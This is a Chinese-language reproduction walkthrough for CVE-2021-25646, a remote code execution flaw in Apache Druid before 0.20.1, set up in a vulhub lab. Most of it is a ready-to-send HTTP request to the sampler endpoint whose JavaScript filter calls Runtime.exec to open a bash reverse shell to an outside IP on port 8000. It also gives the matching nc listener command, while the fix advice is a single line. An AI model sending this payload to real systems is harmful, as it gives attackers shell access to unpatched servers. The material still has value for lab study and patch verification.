CVE-2021-25646-Apache Druid RCE
漏洞描述:
Apache Druid是美国阿帕奇软件(Apache)基金会的一款使用Java语言编写的、面向列的开源分布式数据库。Apache Druid 0.20.0和更早的版本存在访问控制错误漏洞,该漏洞允许经过身份验证的用户强制Druid运行用户提供的JavaScript代码,并执行服务器进程特权的代码。
影响范围:
Apache Druid < 0.20.1
漏洞复现:
步骤一:环境搭建
使用的是vulhub的靶场环境
docker-compose up -d
访问8888端口,环境搭建成功
步骤二:添加部署
点击Load data
star后选择local disk
进行填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz
一路next到filter
步骤三:抓包请求构造RCE
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 101.200.184.111:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 627
Origin: http://101.200.184.111:8888
Connection: close
Referer: http://101.200.184.111:8888/unified-console.html
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/101.200.184.111/8000 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
开启站点接收RCE请求
nc -lnvp 8000
成功反弹拿到shell
修复建议:
对Durid进行升级
漏洞总结:
经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。
参考文章:CVE-2021-25646:Apache Druid RCE复现_cve-2021-25646复现_维梓梓的博客-CSDN博客